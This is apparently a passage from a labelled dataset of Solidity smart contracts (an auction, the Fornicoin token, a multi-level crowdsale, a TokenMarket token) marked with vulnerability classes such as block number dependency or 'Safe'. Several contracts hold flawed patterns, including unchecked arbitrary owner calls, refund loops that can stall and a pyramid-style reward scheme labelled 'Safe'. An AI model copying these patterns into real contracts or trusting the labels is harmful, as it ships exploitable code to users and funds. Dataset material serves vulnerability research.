{ require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract HasNoEther is Ownable { constructor() public payable { require(msg.value == 0); } function() external { } function reclaimEther() external onlyOwner { owner.transfer(address(this).balance); } } contract DutchAuction is Ownable, HasNoEther, HasNoTokens { using SafeMath for uint256; uint public min_shares_to_sell; uint public max_shares_to_sell; uint public min_share_price; uint public available_shares; bool private fundraise_defined; uint public fundraise_max; state public status = state.pending; enum state { pending, active, ended, decrypted, success, failure } event Started(uint block_number); event BidAdded(uint index); event Ended(uint block_number); event BidDecrypted(uint index, bool it_will_process); event FundraiseDefined(uint min_share_price, uint max); event BidBurned(uint index); event Decrypted(uint blocknumber, uint bids_decrypted, uint bids_burned); event Computed(uint index, uint share_price, uint shares_count); event Assigned(uint index, uint shares, uint executed_amout, uint refunded); event Refunded(uint index, uint refunded); event Success(uint raised, uint share_price, uint delivered_shares); event Failure(uint raised, uint share_price); event Execution(address destination,uint value,bytes data); event ExecutionFailure(address destination,uint value,bytes data); uint public final_share_price; uint public computed_fundraise; uint public final_fundraise; uint public computed_shares_sold; uint public final_shares_sold; uint public winner_bids; uint public assigned_bids; uint public assigned_shares; struct BidData { uint origin_index; uint bid_id; address investor_address; uint share_price; uint shares_count; uint transfer_valuation; uint transfer_token; uint asigned_shares_count; uint executed_amount; bool closed; } uint public bids_sorted_count; uint public bids_sorted_refunded; mapping (uint => BidData) public bids_sorted; uint public bids_burned_count; mapping (uint => uint) public bids_burned; uint public bids_ignored_count; uint public bids_ignored_refunded; mapping (uint => BidData) public bids_ignored; uint public bids_decrypted_count; mapping (uint => uint) public bids_decrypted; uint private bids_reset_count; struct Bid { bytes32 bid_hash; uint art_price; uint art_price_index; bool exist; bool is_decrypted; bool is_burned; bool will_compute; } uint public bids_count; mapping (uint => Bid) public bids; uint public bids_computed_cursor; uint public shares_holders_count; mapping (uint => address) public shares_holders; mapping (address => uint) public shares_holders_balance; OracleInterface oracle; uint public oracle_price_decimals_factor; ERC20Interface art_token_contract; uint public decimal_precission_difference_factor; constructor( uint _min_shares_to_sell, uint _max_shares_to_sell, uint _available_shares, address _oracle, address _art_token_contract ) public { require(_max_shares_to_sell > 0); require(_max_shares_to_sell >= _min_shares_to_sell); require(_available_shares >= _max_shares_to_sell); require(_oracle != address(0x0)); owner = msg.sender; min_shares_to_sell = _min_shares_to_sell; max_shares_to_sell = _max_shares_to_sell; available_shares = _available_shares; oracle = OracleInterface(_oracle); uint256 oracle_decimals = uint256(oracle.decimals()); oracle_price_decimals_factor = 10**oracle_decimals; art_token_contract = ERC20Interface(_art_token_contract); uint256 art_token_decimals = uint256(art_token_contract.decimals()); decimal_precission_difference_factor = 10**(art_token_decimals.sub(oracle_decimals)); } function setFundraiseLimits(uint _min_share_price, uint _fundraise_max) public onlyOwner{ require(!fundraise_defined); require(_min_share_price > 0); require(_fundraise_max > 0); require(status == state.ended); fundraise_max = _fundraise_max; min_share_price = _min_share_price; emit FundraiseDefined(min_share_price,fundraise_max); fundraise_defined = true; } function startAuction() public onlyOwner{ require(status == state.pending); status = state.active; emit Started(block.number); } function endAuction() public onlyOwner{ require(status == state.active); status = state.ended; emit Ended(block.number); } function appendEncryptedBid(bytes32 _bid_hash, uint price_index) public onlyOwner returns (uint index){ require(status == state.active); uint art_price; uint art_price_blockHeight; (art_price, art_price_blockHeight) = oracle.getHistoricalPrice(price_index); bids[bids_count] = Bid(_bid_hash, art_price, price_index, true, false, false, false); index = bids_count; emit BidAdded(bids_count++); } function getBidHash(uint nonce, uint bid_id, address investor_address, uint share_price, uint shares_count) public pure returns(bytes32) { return keccak256(abi.encodePacked(nonce, bid_id, investor_address, share_price, shares_count)); } function burnBid(uint _index) public onlyOwner { require(status == state.ended); require(bids_sorted_count == 0); require(bids[_index].exist == true); require(bids[_index].is_decrypted == false); require(bids[_index].is_burned == false); bids_burned[bids_burned_count] = _index; bids_burned_count++; bids_decrypted[bids_decrypted_count] = _index; bids_decrypted_count++; bids[_index].is_burned = true; emit BidBurned(_index); } function appendDecryptedBid(uint _nonce, uint _index, uint _bid_id, address _investor_address, uint _share_price, uint _shares_count, uint _transfered_token) onlyOwner public { require(status == state.ended); require(fundraise_defined); require(bids[_index].exist == true); require(bids[_index].is_decrypted == false); require(bids[_index].is_burned == false); require(_share_price > 0); require(_shares_count > 0); require(_transfered_token >= convert_valuation_to_art(_shares_count.mul(_share_price),bids[_index].art_price)); if (bids_sorted_count > 0){ BidData memory previous_bid_data = bids_sorted[bids_sorted_count-1]; require(_share_price <= previous_bid_data.share_price); if (_share_price == previous_bid_data.share_price){ require(_index > previous_bid_data.origin_index); } } require( getBidHash(_nonce, _bid_id,_investor_address,_share_price,_shares_count) == bids[_index].bid_hash ); uint _transfer_amount = _share_price.mul(_shares_count); BidData memory bid_data = BidData(_index, _bid_id, _investor_address, _share_price, _shares_count, _transfer_amount, _transfered_token, 0, 0, false); bids[_index].is_decrypted = true; if (_share_price >= min_share_price){ bids[_index].will_compute = true; bids_sorted[bids_sorted_count] = bid_data; bids_sorted_count++; emit BidDecrypted(_index,true); }else{ bids[_index].will_compute = false; bids_ignored[bids_ignored_count] = bid_data; bids_ignored_count++; emit BidDecrypted(_index,false); } bids_decrypted[bids_decrypted_count] = _index; bids_decrypted_count++; if(bids_decrypted_count == bids_count){ emit Decrypted(block.number, bids_decrypted_count.sub(bids_burned_count), bids_burned_count); status = state.decrypted; } } function appendDecryptedBids(uint[] _nonce, uint[] _index, uint[] _bid_id, address[] _investor_address, uint[] _share_price, uint[] _shares_count, uint[] _transfered_token) public onlyOwner { require(_nonce.length == _index.length); require(_index.length == _bid_id.length); require(_bid_id.length == _investor_address.length); require(_investor_address.length == _share_price.length); require(_share_price.length == _shares_count.length); require(_shares_count.length == _transfered_token.length); require(bids_count.sub(bids_decrypted_count) > 0); for (uint i = 0; i < _index.length; i++){ appendDecryptedBid(_nonce[i], _index[i], _bid_id[i], _investor_address[i], _share_price[i], _shares_count[i], _transfered_token[i]); } } function resetAppendDecryptedBids(uint _count) public onlyOwner{ require(status == state.ended); require(bids_decrypted_count > 0); require(_count > 0); if (bids_reset_count == 0){ bids_reset_count = bids_decrypted_count; } uint count = _count; if(bids_reset_count < count){ count = bids_reset_count; } do { bids_reset_count--; bids[bids_decrypted[bids_reset_count]].is_decrypted = false; bids[bids_decrypted[bids_reset_count]].is_burned = false; bids[bids_decrypted[bids_reset_count]].will_compute = false; count--; } while(count > 0); if (bids_reset_count == 0){ bids_sorted_count = 0; bids_ignored_count = 0; bids_decrypted_count = 0; bids_burned_count = 0; } } function computeBids(uint _count) public onlyOwner{ require(status == state.decrypted); require(_count > 0); uint count = _count; if (bids_sorted_count == 0){ status = state.failure; emit Failure(0, 0); return; } require(bids_computed_cursor < bids_sorted_count); BidData memory bid; do{ bid = bids_sorted[bids_computed_cursor]; if (bid.share_price.mul(computed_shares_sold).add(bid.share_price) > fundraise_max){ if(bids_computed_cursor > 0){ bids_computed_cursor--; } bid = bids_sorted[bids_computed_cursor]; break; } computed_shares_sold = computed_shares_sold.add(bid.shares_count); computed_fundraise = bid.share_price.mul(computed_shares_sold); emit Computed(bid.origin_index, bid.share_price, bid.shares_count); bids_computed_cursor++; count--; }while( count > 0 && bids_computed_cursor < bids_sorted_count && ( computed_fundraise < fundraise_max && computed_shares_sold < max_shares_to_sell ) ); if ( bids_computed_cursor == bids_sorted_count || computed_fundraise >= fundraise_max || computed_shares_sold >= max_shares_to_sell ){ final_share_price = bid.share_price; if(computed_shares_sold >= max_shares_to_sell){ computed_shares_sold = max_shares_to_sell; computed_fundraise = final_share_price.mul(computed_shares_sold); winner_bids = bids_computed_cursor; status = state.success; emit Success(computed_fundraise, final_share_price, computed_shares_sold); return; } if(computed_fundraise.add(final_share_price.mul(1)) >= fundraise_max){ computed_fundraise = fundraise_max; winner_bids = bids_computed_cursor; status = state.success; emit Success(computed_fundraise, final_share_price, computed_shares_sold); return; } if (bids_computed_cursor == bids_sorted_count){ if (computed_shares_sold >= min_shares_to_sell){ winner_bids = bids_computed_cursor; status = state.success; emit Success(computed_fundraise, final_share_price, computed_shares_sold); return; }else{ status = state.failure; emit Failure(computed_fundraise, final_share_price); return; } } } } function convert_valuation_to_art(uint _valuation, uint _art_price) view public returns(uint amount){ amount = (( _valuation.mul(oracle_price_decimals_factor) ).div( _art_price )).mul(decimal_precission_difference_factor); } function refundIgnoredBids(uint _count) public onlyOwner{ require(status == state.success || status == state.failure); uint count = _count; if(bids_ignored_count < bids_ignored_refunded.add(count)){ count = bids_ignored_count.sub(bids_ignored_refunded); } require(count > 0); uint cursor = bids_ignored_refunded; bids_ignored_refunded = bids_ignored_refunded.add(count); BidData storage bid; while (count > 0) { bid = bids_ignored[cursor]; if(bid.closed){ continue; } bid.closed = true; art_token_contract.transfer(bid.investor_address, bid.transfer_token); emit Refunded(bid.origin_index, bid.transfer_token); cursor ++; count --; } } function refundLosersBids(uint _count) public onlyOwner{ require(status == state.success || status == state.failure); uint count = _count; if(bids_sorted_count.sub(winner_bids) < bids_sorted_refunded.add(count)){ count = bids_sorted_count.sub(winner_bids).sub(bids_sorted_refunded); } require(count > 0); uint cursor = bids_sorted_refunded.add(winner_bids); bids_sorted_refunded = bids_sorted_refunded.add(count); BidData memory bid; while (count > 0) { bid = bids_sorted[cursor]; if(bid.closed){ continue; } bids_sorted[cursor].closed = true; art_token_contract.transfer(bid.investor_address, bid.transfer_token); emit Refunded(bid.origin_index, bid.transfer_token); cursor ++; count --; } } function calculate_shares_and_return(uint _shares_count, uint _share_price, uint _transfer_valuation, uint _final_share_price, uint _art_price, uint transfer_token) view public returns( uint _shares_to_assign, uint _executed_amount_valuation, uint _return_amount ){ if(assigned_shares.add(_shares_count) > max_shares_to_sell){ _shares_to_assign = max_shares_to_sell.sub(assigned_shares); }else{ _shares_to_assign = _shares_count; } _executed_amount_valuation = _shares_to_assign.mul(_final_share_price); if (final_fundraise.add(_executed_amount_valuation) > fundraise_max){ _executed_amount_valuation = fundraise_max.sub(final_fundraise); _shares_to_assign = _executed_amount_valuation.div(_final_share_price); _executed_amount_valuation = _shares_to_assign.mul(_final_share_price); } uint _executed_amount = convert_valuation_to_art(_executed_amount_valuation, _art_price); _return_amount = transfer_token.sub(_executed_amount); } function assignShareTokens(uint _count) public onlyOwner{ require(status == state.success); uint count = _count; if(winner_bids < assigned_bids.add(count)){ count = winner_bids.sub(assigned_bids); } require(count > 0); uint cursor = assigned_bids; assigned_bids = assigned_bids.add(count); BidData storage bid; while (count > 0) { bid = bids_sorted[cursor]; uint _shares_to_assign; uint _executed_amount_valuation; uint _return_amount; (_shares_to_assign, _executed_amount_valuation, _return_amount) = calculate_shares_and_return( bid.shares_count, bid.share_price, bid.transfer_valuation, final_share_price, bids[bid.origin_index].art_price, bid.transfer_token ); bid.executed_amount = _executed_amount_valuation; bid.asigned_shares_count = _shares_to_assign; assigned_shares = assigned_shares.add(_shares_to_assign); final_fundraise = final_fundraise.add(_executed_amount_valuation); final_shares_sold = final_shares_sold.add(_shares_to_assign); if(_return_amount > 0){ art_token_contract.transfer(bid.investor_address, _return_amount); } bid.closed = true; if (shares_holders_balance[bid.investor_address] == 0){ shares_holders[shares_holders_count++] = bid.investor_address; } emit Assigned(bid.origin_index,_shares_to_assign, _executed_amount_valuation, _return_amount); shares_holders_balance[bid.investor_address] = shares_holders_balance[bid.investor_address].add(_shares_to_assign); cursor ++; count --; } } function getShareBalance() view public returns (uint256 share_balance){ require(status == state.success); require(winner_bids == assigned_bids); share_balance = shares_holders_balance[msg.sender]; } function reclaimToken(ERC20Basic token) external onlyOwner { require(token != art_token_contract); uint256 balance = token.balanceOf(this); token.transfer(owner, balance); } function reclaim_art_token() external onlyOwner { require(status == state.success || status == state.failure); require(winner_bids == assigned_bids); uint256 balance = art_token_contract.balanceOf(this); art_token_contract.transfer(owner, balance); } function executeTransaction( address destination, uint value, bytes data ) public onlyOwner { if (destination.call.value(value)(data)) emit Execution(destination,value,data); else emit ExecutionFailure(destination,value,data); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } }",./Dataset/block number dependency (BN),0,0 0x00762285775b9E01981E0A24112B0761AA17fEcE_FornicoinToken.sol,"pragma solidity ^0.4.13; /* * This is the smart contract for the Fornicoin token. * More information can be found on our website at: https://fornicoin.network * Created by the Fornicoin Team <[email protected]> */ /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint _value) public returns (bool) { require(_to != address(0)); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifing the amount of tokens still avaible for the spender. */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } } /* * This is the smart contract for the Fornicoin token. * More information can be found on our website at: https://fornicoin.network * Created by the Fornicoin Team <[email protected]> */ contract FornicoinToken is StandardToken, Ownable { using SafeMath for uint256; string public constant name = ""Fornicoin""; string public constant symbol = ""FXX""; uint8 public constant decimals = 18; // 100 000 000 Fornicoin tokens created uint256 public constant MAX_SUPPLY = 100000000 * (10 ** uint256(decimals)); // admin address for team functions address public admin; uint256 public teamTokens = 25000000 * (10 ** 18); // Top up gas balance uint256 public minBalanceForTxFee = 55000 * 3 * 10 ** 9 wei; // == 55000 gas @ 3 gwei // 800 FXX per ETH as the gas generation price uint256 public sellPrice = 800; event Refill(uint256 amount); modifier onlyAdmin() { require(msg.sender == admin); _; } function FornicoinToken(address _admin) { totalSupply = teamTokens; balances[msg.sender] = MAX_SUPPLY; admin =_admin; } function setSellPrice(uint256 _price) public onlyAdmin { require(_price >= 0); // FXX can only become stronger require(_price <= sellPrice); sellPrice = _price; } // Update state of contract showing tokens bought function updateTotalSupply(uint256 additions) onlyOwner { require(totalSupply.add(additions) <= MAX_SUPPLY); totalSupply += additions; } function setMinTxFee(uint256 _balance) public onlyAdmin { require(_balance >= 0); // can only add more eth require(_balance > minBalanceForTxFee); minBalanceForTxFee = _balance; } function refillTxFeeMinimum() public payable onlyAdmin { Refill(msg.value); } // Transfers FXX tokens to another address // Utilises transaction fee obfuscation function transfer(address _to, uint _value) public returns (bool) { // Prevent transfer to 0x0 address require (_to != 0x0); // Check for overflows require (balanceOf(_to) + _value > balanceOf(_to)); // Determine if account has necessary funding for another tx if(msg.sender.balance < minBalanceForTxFee && balances[msg.sender].sub(_value) >= minBalanceForTxFee * sellPrice && this.balance >= minBalanceForTxFee){ sellFXX((minBalanceForTxFee.sub(msg.sender.balance)) * sellPrice); } // Subtract from the sender balances[msg.sender] = balances[msg.sender].sub(_value); // Add the same to the recipient balances[_to] = balances[_to].add(_value); // Send out Transfer event to notify all parties Transfer(msg.sender, _to, _value); return true; } // Sells the amount of FXX to refill the senders ETH balance for another transaction function sellFXX(uint amount) internal returns (uint revenue){ // checks if the sender has enough to sell require(balanceOf(msg.sender) >= amount); // adds the amount to owner's balance balances[admin] = balances[admin].add(amount); // subtracts the amount from seller's balance balances[msg.sender] = balances[msg.sender].sub(amount); // Determines amount of ether to send to the seller revenue = amount / sellPrice; msg.sender.transfer(revenue); // executes an event reflecting on the change Transfer(msg.sender, this, amount); // ends function and returns return revenue; } }",Safe,8,8 0x0078c9f055d2c72ba31fa4f87e40170adff91674_MultiLevelToken.sol,"pragma solidity ^0.4.13; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20 { uint256 public totalSupply; function balanceOf(address who) constant public returns (uint256); function transfer(address to, uint256 value)public returns (bool); function allowance(address owner, address spender)public constant returns (uint256); function transferFrom(address from, address to, uint256 value)public returns (bool); function approve(address spender, uint256 value)public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20 { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value)public returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner)public constant returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is BasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value)public returns (bool) { uint _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value)public returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifing the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender)public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable()public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner)public onlyOwner { require(newOwner != address(0)); owner = newOwner; } } /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/zeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will recieve the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount)public onlyOwner canMint returns (bool) { totalSupply = totalSupply.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(0, _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting()public onlyOwner returns (bool) { mintingFinished = true; MintFinished(); return true; } /*function approveAndCall(address spender, uint skolko) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(skolko.mul(1000000000000000000)); allowed[msg.sender][spender] = skolko; Approval(msg.sender, spender, skolko); Crowdsale(spender).receiveApproval(msg.sender, skolko, address(this)); return true; } */ } contract MultiLevelToken is MintableToken { string public constant name = ""Multi-level token""; string public constant symbol = ""MLT""; uint32 public constant decimals = 18; } contract Crowdsale is Ownable{ using SafeMath for uint; address multisig; uint multisigPercent; address bounty; uint bountyPercent; MultiLevelToken public token = new MultiLevelToken(); uint rate; uint tokens; uint value; uint tier; uint i; uint a=1; uint b=1; uint c=1; uint d=1; uint e=1; uint parent; uint256 parentMoney; address whom; mapping (uint => mapping(address => uint))tree; mapping (uint => mapping(uint => address)) order; function Crowdsale()public { multisig = 0xB52E296b76e7Da83ADE05C1458AED51D3911603f; multisigPercent = 5; bounty = 0x1F2D3767D70FA59550f0BC608607c30AAb9fDa06; bountyPercent = 5; rate = 100000000000000000000; } function finishMinting() public onlyOwner returns(bool) { token.finishMinting(); return true; } function distribute() public{ for (i=1;i<=10;i++){ while (parent >1){ if (parent%3==0){ parent=parent.div(3); whom = order[tier][parent]; token.mint(whom,parentMoney); } else if ((parent-1)%3==0){ parent=(parent-1)/3; whom = order[tier][parent]; token.mint(whom,parentMoney); } else{ parent=(parent+1)/3; whom = order[tier][parent]; token.mint(whom,parentMoney); } } } } function createTokens()public payable { uint _multisig = msg.value.mul(multisigPercent).div(100); uint _bounty = msg.value.mul(bountyPercent).div(100); tokens = rate.mul(msg.value).div(1 ether); tokens = tokens.mul(55).div(100); parentMoney = msg.value.mul(35).div(10); if (msg.value >= 50000000000000000 && msg.value < 100000000000000000){ tier=1; tree[tier][msg.sender]=a; order[tier][a]=msg.sender; parent = a; a+=1; distribute(); } else if (msg.value >= 100000000000000000 && msg.value < 200000000000000000){ tier=2; tree[tier][msg.sender]=b; order[tier][b]=msg.sender; parent = b; b+=1; distribute(); } else if (msg.value >= 200000000000000000 && msg.value < 500000000000000000){ tier=3; tree[tier][msg.sender]=c; order[tier][c]=msg.sender; parent = c; c+=1; distribute(); } else if(msg.value >= 500000000000000000 && msg.value < 1000000000000000000){ tier=4; tree[tier][msg.sender]=d; order[tier][d]=msg.sender; parent = d; d+=1; distribute(); } else if(msg.value >= 1000000000000000000){ tier=5; tree[tier][msg.sender]=e; order[tier][e]=msg.sender; parent = e; e+=1; distribute(); } token.mint(msg.sender, tokens); multisig.transfer(_multisig); bounty.transfer(_bounty); } /*address _tokenAddress; function GetTokenAddress (address Get) public onlyOwner{ _tokenAddress=Get; }*/ function receiveApproval(address from, uint skolko /*, address tokenAddress*/) public payable onlyOwner{ // require (tokenAddress == _tokenAddress); from.transfer(skolko.mul(1000000000000)); } function() external payable { createTokens(); } }",Safe,8,8 0x0371a82e4a9d0a4312f3ee2ac9c6958512891372_BurnableCrowdsaleToken.sol,"/** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // Temporarily have SafeMath here until all contracts have been migrated to SafeMathLib version from OpenZeppelin /** * Math operations with safety checks */ contract SafeMath { function safeMul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint a, uint b) internal returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } } /** * Standard ERC20 token with Short Hand Attack and approve() race condition mitigation. * * Based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, SafeMath { /* Token supply got increased and a new owner received these tokens */ event Minted(address receiver, uint amount); /* Actual balances of token holders */ mapping(address => uint) balances; /* approve() allowances */ mapping (address => mapping (address => uint)) allowed; /* Interface declaration */ function isToken() public constant returns (bool weAre) { return true; } function transfer(address _to, uint _value) returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], _value); balances[_to] = safeAdd(balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint _value) returns (bool success) { uint _allowance = allowed[_from][msg.sender]; balances[_to] = safeAdd(balances[_to], _value); balances[_from] = safeSub(balances[_from], _value); allowed[_from][msg.sender] = safeSub(_allowance, _value); Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } function approve(address _spender, uint _value) returns (bool success) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 if ((_value != 0) && 